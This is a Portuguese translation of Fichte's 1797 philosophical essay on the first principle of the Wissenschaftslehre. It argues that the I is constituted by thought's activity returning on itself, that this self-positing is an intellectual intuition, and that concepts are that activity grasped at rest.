Fichte – O PRINCÍPIO DA DOUTRINA DA CIÊNCIA (1797)

O PRINCÍPIO DA DOUTRINA-DA-CIÊNCIA
(1797)


Por Johann Gottlieb Fichte

Tradução Rubens Rodrigues Torres
Filho

Extraído do Volume Fichte da Coleção
Os Pensadores – editora Abril Cultural


I

    Permita-nos o leitor, com quem temos
de entrar em consonância de pensamento, dirigir-nos diretamente a
ele e tratá-lo com o familiar “tu”.

    1) Podes sem dúvida pensar:
eu;
e, ao pensá-lo, encontras intimamente tua consciência determinada
de certa maneira: pensas somente algo, precisamente aquilo que captas
sob aquele conceito de eu, e é disso que tens consciência;
e, assim sendo, não pensas algo outro, que, de outro modo, poderias
também pensar e que já pensaste. – Por ora não vem
ao caso para mim saber se coligiste mais ou menos do que eu mesmo, no conceito:
eu. Aquilo que me importa, seguramente tu o tens também aí,
e isso me basta.

    2) Em lugar desse algo determinado,
terias podido também pensar algo outro, por exemplo: tua mesa, tuas
paredes, tua janela: e chegas mesmo a pensar efetivamente esses objetos,
se te peço que o faças. Tu o fazes em decorrência de
um pedido, em decorrência de um conceito daquilo que deves pensar;
que, como admitiste, também poderia ser outro, digo eu. Logo, notas
atividade e liberdade neste pensar, nesse passar do pensamento do eu ao
pensamento da mesa, das paredes, e assim por diante. Teu pensar é
para ti um agir. Não temas, que, ao admitires isso, me esteja
concedendo algo de que mais tarde poderias arrepender-te. Falo somente
da atividade de que, neste estado, tens consciência imediata, e na
medida em que tens consciência dela. Mas se estiveres no caso de
não ter consciência aqui de atividade nenhuma – há
muitos filósofos célebres de nossa época nesse caso
– separemo-nos então aqui mesmo, em paz, um do outro: pois de agora
em diante não entenderás mais nenhuma de minhas palavras.

    Falo com aqueles que me entendem
sobre este ponto. Vosso pensar é um agir, vosso pensar determinado
é, portanto, um agir determinado, isto é, aquilo que pensais
é exatamente isso porque no pensar agistes exatamente desse modo;
e seria algo outro (pensaríeis algo outro) se tivésseis
agido de outro modo em vosso pensar (se tivésseis pensado de
outro modo
).



    3) Ora, aqui deves pensar em
particular: eu. Como este é um pensamento determinado, ele
é necessariamente instituído – segundo as proposições
que acabam de ser estabelecidas – por um procedimento determinado no pensar;
e a tarefa que te proponho, meu compreensivo leitor; é: tomar consciência
propriamente e intimamente de como procedes quando pensas: eu.
Como poderia ocorrer que nós dois não tivéssemos abrangido
nesse conceito exatamente o mesmo, tenho de te orientar.

    Ao pensares tua mesa
ou tua parede, tu, já que efetivamente, como leitor compreensivo,
tens consciência da atividade em teu pensar, eras para ti mesmo,
nesse pensar, o pensante; mas o pensado não era, para
ti, tu mesmo, e sim algo a ser distinguido de ti. Em suma, em todos os
conceitos como este, como o poderás descobrir em tua consciência,
o pensante e o pensado são dois. Mas, ao te pensares, não
és para ti apenas o pensante: és também, ao mesmo
tempo, o pensado; nesse caso, pensante e pensado devem ser um só;
teu agir no pensar deve retornar a ti mesmo, ao pensante.

    Portanto – o conceito ou
o pensamento do eu consiste no agir sobre o si do próprio eu;
e
inversamente,  um tal agir sobre si mesmo dá o pensamento
do eu, e pura e simplesmente nenhum outro pensamento
. O primeiro ponto
acabas de de encontrar em ti mesmo e de mo conceder. Se acaso puderes ficar
chocado com o segundo e ter dúvida quanto a nosso direito de inverter
a proposição, deixo a teu cargo experimentar se pelo retorno
de teu pensar sobre ti, como o pensante, acaso aparece outro conceito que
não o de ti mesmo; e se podes pensar a possibilidade de que apareça
outro. – Assim, ambos, o conceito de um pensar que retorna para dentro
de si e o conceito do eu; e o eu não advém por nenhum outro
ato possível, a não ser pelo descrito.


    Aqui vês ao mesmo tempo
em que sentido o pensar do eu te é atribuído. A saber, os
signos da linguagem passaram pelas mão da falta de pensamento e
adquiriram algo da indeterminação que ela tem; não
há como entender-se satisfatoriamente através deles. Só
quando se fornece o ato pelo qual um conceito de institui, este adquiri
sua determinação completa. Faze o que te digo e pensarás
o que eu penso. Este método será observado também,
sem exceção, no prosseguimento de nossa investigação.
-Assim, havias talvez acolhido no conceito do eu uma multiplicidade de
traços que eu não havia acolhido nele, por exemplo: o conceito
de tua individualidade, porque também esta é indicada com
aquele signo verbal. De tudo isto estás doravante dispensado; somente
aquilo que é instituído pelo mero retorno de teu pensar a
ti mesmo é o eu de que falo aqui.

    4) As proposições
estabelecidas, que são expressão imediata da observação
que acabamos de fazer
, só podem suscitar escrúpulos sob
a condição de serem tomadas por algo mais do que essa expressão
imediata. O eu somente é instituído pelo retorno do pensar
sobre si mesmo, digo eu; e, ao dizer isto, falo exclusivamente daquele
que pode ser instituído pelo pensar: aquilo que, quando penso assim,
aparece imediatamente em minha consciência e que, quando tu pensas
assim, aparece imediatamente em tua consciência; em suma, falo somente
do conceito do eu. Aqui não se trata ainda, de modo nenhum, de um
ser do eu fora do conceito; se  em que medida pode surgir a questão
de tal ser em geral, é algo que mostrará no seu devido tempo.
Portanto, para assegurar o leitor contra toda dúvida possível
e contra todo perigo de, no decorrer da investigação, ver
a proposição admitida por ele ser tomada em um sentido que
ele não quis admitir, acrescento à proposição
que acaba de ser estabelecida – o eu é um pôr de si mesmo,
e outras semelhantes – a expressão:  para o eu.

    Posso também indicar,
agora mesmo, a razão desse escrúpulo do leitor, que o faz
temer ser levado a admitir algo a mais; sob a condição de
que isto não venha  a ocasionar dispersão, pois tudo
o que venha a ser dito é uma observação contingente,
que, aqui, ainda não pertence propriamente ao assunto e só
é trazida à baila para não deixar persistir, por um
instante sequer, alguma obscuridade. – Foi afirmado: Teu eu é instituído
e exclusivamente pelo retorno a ti mesmo de teu pensar. Em algum pequeno
recanto de tua alma encontra-se uma objeção contra isso –
ou: devo pensar, mas, para poder pensar, é preciso que antes eu
seja
; ou então; devo  me  pensar, retornar para
mim, mas aquilo que deve ser pensado, ao qual se deve retornar, precisa
antes ser, para depois ser pensado ou para que se retorne a ele. Em ambos
os casos postulas um estar aí, um existir de ti mesmo,
independente do pensar e do ser-pensado de ti mesmo, e como pressuposto
dele: no primeiro caso a existência do (eu) pensante, no segundo
a do (eu) a ser pensado. A propósito desde ponto, diz-me,
por ora, apenas o seguinte: quem é que está afirmando que
tu deverias já estar sendo, antes do teu pensar? – Sem dúvida
tu mesmo, e esse teu afirmar é sem dúvida um pensar; e aliás
– com afirmas ainda e nós te concedemos de todo coração
– é um pensar necessário e que, nesse contexto, se impõe
a ti. Entretanto, só sabes – espero eu- desse teu existir, que deve
ser tomado como pressuposto, na medida em que o pensas; logo, também
esse existir do eu nada mais é do que o estar posto-posto de ti
mesmo por ti mesmo. Logo, no fato que nos indicaste, se o considerarmos
com suficiente rigor, não está contido nada mais que isto: 
tens de pensar, como anterior à tua autoposição presente,
que foi elevada à consciência clara, uma outra autoposição,
ocorrida sem consciência clara, à qual a presente se refere
e pela qual esta é condicionada. 
Até que te indiquemos
a fecunda lei segundo a qual isto é assim, contenta-te com a compreensão
de que o fato alegado não enuncia nada mais do que foi declarado,
e assim não serás desorientado por ele.

II

    Passemos a um nível superior
de especulação.

    1) Pensa-te e observa como o
fazes – esse foi meu primeiro pedido. Tiveste de observar, para me entenderes
(pois eu falava de algo que só podia estar em ti mesmo) e para encontrares
como verdadeiro, em tua própria experiência, o que eu te dizia.
essa atenção voltada para nós mesmos naquele
ato era o subjetivo, comum a nós dois. Teu procedimento no
pensar de ti mesmo, que em mim também não era outro, era
aquilo ao qual davas atenção; era  o objeto de
nossa investigação: o objetivo, comum a nós
dois.



    Mas agora te digo: observa teu
observar
de tua autoposição; observa aquilo que, na investigação
levada a efeito acima; tu mesmo fizeste, e como fizeste para observar a
ti mesmo. Faze daquilo mesmo, que até agora era o subjetivo, o objeto
de uma nova investigação, que agora iniciamos.



    2) Não é tão
fácil assim atinar com o ponto que tenho de tratar aqui; mas, se
falharmos, teremos falhado e tudo, pois sobre ele repousa minha doutrina
inteira. Permita-me pois o leitor guiá-lo com um intróito
e colocá-lo tão próximo quanto possível daquilo
que terá de observar.



    Ao teres consciência de
um objeto qualquer – seja, por exemplo, a parede que tens diante de ti
– tens propriamente consciência, como acabas de admitir, de teu pensar
dessa parede, e só na medida que tens consciência dele tens
consciência da parede. Mas, para teres consciência de teu pensar,
tens de ter consciência de ti mesmo. – Tu tens consciência
de ti  mesmo, dizes; logo, distingues  necessariamente
teu eu pensante do eu pensado no pensamento do eu. Mas, para
que possas fazê-lo, o pensante nesse pensar tem de ser por sua vez
objeto
de um pensar superior, para poder ser objeto da consciência;
com isso, obténs, ao mesmo tempo, um novo sujeito, que deve
novamente ter consciência daquilo que antes era o estar-consciente-de-si.
E aqui argumento mais uma vez como antes; e depois de termos principiado
a inferir segundo essa lei, não podes mais indicar-me nenhum lugar
onde devêssemos deter-nos; logo, para cada consciência, precisaremos
de uma nova consciência, cujo objeto é a primeira, e assim
ao infinito, logo, jamais poderemos chegar a admitir uma consciência
efetiva. -Só tens consciência de ti mesmo, como aquele do
qual há consciência; mas, nesse caso, aquele que tem consciência
se torna, novamente, aquele do qual há consciência, e tens,
novamente, de tomar consciência daquele que tem consciência
deste, e assim ao infinito: e, assim podes ver como chegarias a uma primeira
consciência…



     Em suma: por essa via,
a consciência absolutamente não se deixa explicar. – Recapitulando:
qual era a essência do raciocínio acima e a razão precisa
pela qual a consciência era inconcebível por essa via? Esta:
todo objeto chega à consciência única e exclusivamente
sob a condição  de que eu tenha, também, consciência
de mim mesmo, do sujeito que tem consciência. Essa proposição
é irrefutável. -Mas nessa minha autoconsciência, foi
afirmado ainda, eu sou para mim mesmo objeto, e, para o sujeito desse objeto,
vale mais uma vez o que valia para o precedente: ele se torna objeto e
precisa de um novo sujeito; e assim ao infinito. Desse modo, em toda consciência,
sujeito e objeto seriam separados um do outro e cada um deles considerado
em sua particularidade; esta era a razão pela qual a consciência
redundou incompreensível para nós.


    E no entanto, há consciência;
por conseguinte, aquela afirmação tem de ser falsa. Dizer
que ela é falsa significa: seu contrário tem validade; logo,
tem validade a seguinte proposição: há uma consciência
em que o subjetivo e o objetivo absolutamente não se separam, e
são absolutamente um e o mesmo. Logo, tal consciência seria
aquilo de que precisamos para explicar a consciência em geral. Agora,
sem cuidar mais disso, voltemos tranqüilamente à nossa investigação.

    3) Ao pensares, como te pedimos,
ora objetos, que deveriam estar fora de ti, ora a ti mesmo, sabias, sem
dúvida, que e o que e como pensavas; pois éramos capazes
de conversar um com o outro sobre isso, como fizemos acima.

    Como chegaste, então,
a essa consciência de teu pensar? Tu me responderás: eu o
sabia imediatamente. A consciência de meu pensar não eventualmente
algo contingente ao meu pensar, só acrescentada a ele posteriormente
e vinculada com ele, mas é inseparável dele. – Assim responderás,
e assim tens de responder; pois não consegues pensar teu pensar
sem uma consciência dele.


    Portanto, em primeiro lugar,
teríamos encontrado aqui uma consciência tal como  a
que procurávamos acima; uma consciência em que o subjetivo
e o objetivo estão imediatamente unificados. A consciência
de nosso próprio pensar é essa consciência. – Em segundo
lugar, tens consciência imediata de teu pensar; como te representas
isso? Obviamente de nenhum modo, a não ser do seguinte: tua atividade
interior; que se dirige para algo fora dela (o objeto do pensar), vai ao
mesmo tempo para dentro de ti mesmo, e para ti mesmo. Mas pela atividade
que retorna a si e surge, para nós, segundo que foi visto acima,
o eu. Logo, em teu pensar de ti mesmo tinhas consciência de ti mesmo,
e era justamente essa autoconsciência aquela consciência imediata
de teu pensar, quer tivesse pensado um objeto, quer a ti mesmo. -Assim,
a autoconsciência é imediata; nela, subjetivo e objetivo estão
inseparavelmente unificados e são absolutamente um.

    Uma tal consciência imediata
chama-se, na expressão científica, uma intuição,
e assim também a chamaremos. A intuição de que se
trata aqui é um pôr-se como pondo ( algo objetivo,
que também poder ser eu mesmo, com mero objeto), mas de nenhum modo,
eventualmente, um mero pôr; pois com isso continuaríamos envolvidos
na mesma impossibilidade, que acaba de ser indicada, de explicar a consciência.
O que importa, acima de tudo, para mim, é ser entendido e convencer
sobre este ponto, que constitui a fundação de todo o sistema
que será apresentado aqui.


    Toda consciência possível,
como objeto de um sujeito, pressupõe uma consciência imediata
em que subjetivo e objetivo sejam pura e simplesmente um; sem isso, a consciência
é pura e simplesmente inconcebível.

    Será sempre em vão
que se procurará por um elo entre o sujeito e o objeto, se ambos
já originariamente não tiverem sido apreendidos em sua unificação.
Por isso, toda filosofia que não parte do ponto em que ambos estão
unificados é, necessariamente, fútil e incompleta, e não
é capaz de explicar o que deve explicar; logo, não é
uma filosofia.



    Essa consciência imediata
é a intuição do eu que acaba de ser descrita; nela
o eu põe a si mesmo necessariamente e é, portanto, o subjetivo
e o objetivo em um só. Toda outra consciência é vinculada
a esta e mediada por ela; e única e exclusivamente pela vinculação
com ela se torna uma consciência. Só ela não é
mediada ou condicionada por nada; é absolutamente possível,
e pura e simplesmente necessária, se é que deve haver qualquer
outra consciência. – O eu não deve ser considerado como mero
sujeito, como foi considerado até agora, quase sem exceção,
mas como sujeito-objeto no sentido indicado.



    E aqui não se trata de
nenhum outro ser do eu, a não ser daquele que se encontra ba auto-intuição
descrita; ou, para exprimi-lo ainda mais rigorosamente, do ser dessa própria
intuição. Eu sou essa intuição, e pura e simplesmente
mais nada, e essa intuição mesma é eu. Por esse pôr
de si mesmo, não deve ser produzida, eventualmente, uma existência
do eu, como uma coisa-em-si capaz de subsistir independentemente da consciência;
afirmação esta que seria o maior dos absurdos. Tampouco se
pressupõe antes dessa intuição uma existência
do eu independente da consciência, como coisa (capaz de intuir);
o que ao meu ver, não seria um absurdo menor, embora não
se deva dizer isso quando os sábios mais afamados do nosso século
filosófico pendem para essa opinião. Uma tal existência
não deve ser pressuposta, digo eu; pois, se não podeis falar
de nada de que não tendes consciência e se tudo aquilo
de que tendes consciência é condicionado pela autoposição
indicada
, então  não podeis inversamente de algo
determinado
, de que tendes consciência, ou seja. daquela existência
do eu pretensamente independente de todo intuir e pensar, a condição
daquela autoconsciência
. Ou tendes de confessar que falais de
algo sem saber dele, o que dificilmente fareis, ou teríeis de negar
que a autoconsciência indicada condiciona todo outra consciência,
e basta que me tenhais entendido para que isso vos fique claro aqui: que,
com nossa primeira preposição, não somente para o
caso alegado, mas para todos os casos possíveis, fomos colocados
irreversivelmente no ponto de vista do idealismo transcendental; e que
é absolutamente a mesma coisa entender aquela e convencer-se deste.


    Portanto – a inteligência
intui a si mesma, meramente como inteligência, ou como inteligência
pura, e nessa auto-intuição consiste seu ser. Logo, caso
possa eventualmente haver, ainda, outro modo de intuição,
essa intuição será denominada, com razão, intuição
intelectual.
– Em vez da palavra inteligência prefiro empregar a denominação:
egoidade; pois esta designa da maneira mais imediata, para todo aquele
que é capaz de um mínimo de atenção, esse retorno
da atividade para dentro de si mesma1

III

    Há ainda uma circunstância,
na observação da atividade requerida por nós, que
merece ser notada. Considere-se, por enquanto, esta observação
apenas como acessória. Sobre ela não será construído
nada imediatamente, só bem mais adiante se mostrará que conseqüências
ela tem. Apenas, não podemos perder a ocasião, que temos
aqui, de fazer essa observação.



    Na representação
de um objeto ou de ti mesmo, tu te encontras como ativo. Observa mais uma
vez intimamente aquilo que aparece em ti na representação
da atividade. – Atividade é agilidade, movimento interior; o espírito
se arrebata acima de opostos absolutos; – descrição pela
qual de nenhum modo se torna concebível o que é inconcebível,
mas é lembrada vivamente aquela intuição que se encontra
necessariamente em cada um de nós. – Mas essa agilidade não
se deixa intuir e não é intuída, a não ser
como um desprender a força ativa de um repouso; e assim a
intuíste de fato, se apenas desempenhaste efetivamente o que exigimos
de ti.



    Pensaste, de acordo com o meu
pedido, tua mesa, tua parede, e assim por diante, e, depois de teres produzido
ativamente em ti os pensamentos desses objetos, ficaste então absorvido
na contemplação pousada e fixa dele (Obtutu haerbas fixus
in illo,
como  diz o poeta). Eu te disse: agora pensa-te, e observa
que esse pensar é um fazer. Tinhas, para cumprir o exigido, de desprender-te
daquele repouso da contemplação, daquela determidade de teu
pensar, e determiná-la de outro modo; e só na medida em que
observaste esse desprender e esse alterar da determidade é que te
observaste como ativo. Invoco aqui exclusivamente tua própria intuição
interior; demonstrar-te de fora algo que só pode estar em ti mesmo,
não sou capaz de fazer.



    O resultado da observação
feita agora seria este: só é possível encontrar-se
como ativo na medida em que se opõe a essa atividade um repouso
(uma retenção e fixidez da força interior). (Esta
proposição, que aqui lembramos apenas de passagem, também
é verdadeira universalmente e, nos capítulos seguintes, será
estabelecida nessa sua validade universal: Toda determinação,
o que quer que seja determinado, ocorre por contraposição.
Aqui estamos considerando apenas o caso singular que temos diante de nós.)

    Qual era a determinação
particular do teu pensar que, como repouso, precedeu imediatamente aquela
atividade pela qual pensaste a ti mesmo: ou, para exprimi-lo mais exatamente,
que estava imediatamente unificada com ela, de tal modo que não
podias perceber uma sem a outra. – Eu te disse: pensa a ti mesmo,
para designar a ação que devias desempenhar, e tu me entendeste
sem mais explicações. Logo, sabias o que significa: eu.
Mas não precisavas saber – e, segundo minha pressuposição,
não sabias – que esse pensamento é instituído por
um retorno da atividade a si mesma, e era isso que devias aprender. Ora,
o eu, em virtude do que foi visto acima, nada mais é do que um agir
que retorna a si mesmo; em um agir que retorna a si mesmo é o eu.
Como poderias então conhecer a este último, sem conhecer
a atividade pela qual ele é instituído? Unicamente da maneira
seguinte: ao entenderes a expressão eu, encontraste 
a Ti isto é, ao teu agir como inteligência
, determinado
de certa maneira; embora sem conhecê-lo exatamente como um agir.
Tu o conhecias apenas como determidade ou repouso, sem saber
propriamente, nem procurar saber de onde vinha aquela determidade de tua
consciência; em suma, assim que me entendeste, aquela determidade
estava imediatamente lá. Por isso me entendeste e pudesse dar à
tua atividade, que eu solicitava, a direção conveniente.
Logo, a determidade de teu pensar pelo pensar de ti mesmo era- e tinha
necessidade de ser- aquele repouso pelo pensar de que te desprendeste para
entrar em atividade.



    Ou, para tornar isto mais claro:
Quando eu te disse: pensa-te, e tu me entendeste esta última palavra,
desempenhaste no próprio ato de entender a atividade que
retorna a si, pela qual o conceito do eu é instituído, apenas
sem saber disso, pois não estavas particularmente atento a isso;
e disso decorreu para ti aquilo que encontraste em tua consciência.
Observa como o fazes – disse-te eu em seguida; e tu desempenhaste a mesma
atividade que já havias desempenhado, porém com atenção
e consciência.



    Em geral, costuma-se chamar
a atividade interior, captada em seu repouso, de de conceito. Logo,
era o conceito de eu que estava necessariamente unificado com a intuição
dele e sem o qual a consciência do eu permaneceria impossível;
pois só o conceito perfaz e abrange a consciência.

    O conceito, onde quer que apareça,
nada mais é do que a atividade do próprio intuir, não
captada como agilidade, mas como repouso e determinabilidade; e é
isso que ocorre também com o conceito do eu. A atividade que retorna
a si, captada como fixa e persistente – pela qual desde logo ambos, eu,
como ativo, e eu, como objeto de minha atividade, coincidem – é
o conceito do eu.



    Na consciência comum só
aparecem conceitos, e nunca intuições com toais; não
obstante, o conceito só é instituído pela intuição,
embora sem nossa consciência. só é possível
elevar-se à consciência da intuição por liberdade,
como acaba de ocorrer a propósito do eu; e toda intuição
consciente refere-se a um conceito, que indicada à liberdade uma
direção. Daí decorre que, em geral, assim como em
nosso caso particular, o objeto da intuição existe anteriormente
à intuição. Esse objeto é justamente o conceito.
Segundo nossa presente colocação, é fácil ver
que este nada mais é do que a própria intuição
não considerada com tal, como atividade, mas como repouso.




 

Nota

1 Ultimamente
costuma-se empregar com freqüência, para exprimir esse mesmo
conceito, a palavra Selbst (si mesmo). Se deduzo corretamente, a
família inteira a que pertence essa palavra, por exemplo: selbiger
(o próprio) etc., derselbe (o mesmo) etc., indica uma referência
a algo já posto, mas pura e simplesmente na medida em que está
posta por seu mero conceito. Se sou eu esse posto, então
a palavra é formada: Selbst. Logo, Selbst pressupõe
o conceito de eu; e tudo o que é pensado de absolutez  nessa
palavra é emprestado desse conceito. Numa exposição
popular a palavra Selbst é talvez mais cômoda porque
dá ao conceito do eu, que é pensado juntamente com ela, embora
sempre obscuramente, uma ênfase particular, de que o leitor comum
bem pode precisar; mas, na exposição científica, parece-me
que o conceito deveria ser nomeado por seu signo imediato e próprio.
– Mas qual seria o propósito a alcançar, colocando em confronto
ambos os conceitos, o do Selbst e o do eu, como diferentes, e deduzindo
do primeiro uma doutrina sublime e do segundo uma doutrina abominável,
como ocorreu recentemente em um escrito destinado ao grande público,
cujo autor tinha a obrigação de saber, pelo menos historicamente,
que esta última palavra também é tomada em outra significação
e que sobre o conceito designado por ela nessa significação
é construído um sistema que absolutamente não contém
aquela doutrina abominável? – Qual seria o propósito a alcançar
com isso é absolutamente impossível conceber, quando não
se quer nem pode admitir um propósito hostil. (N. do A.)Topo



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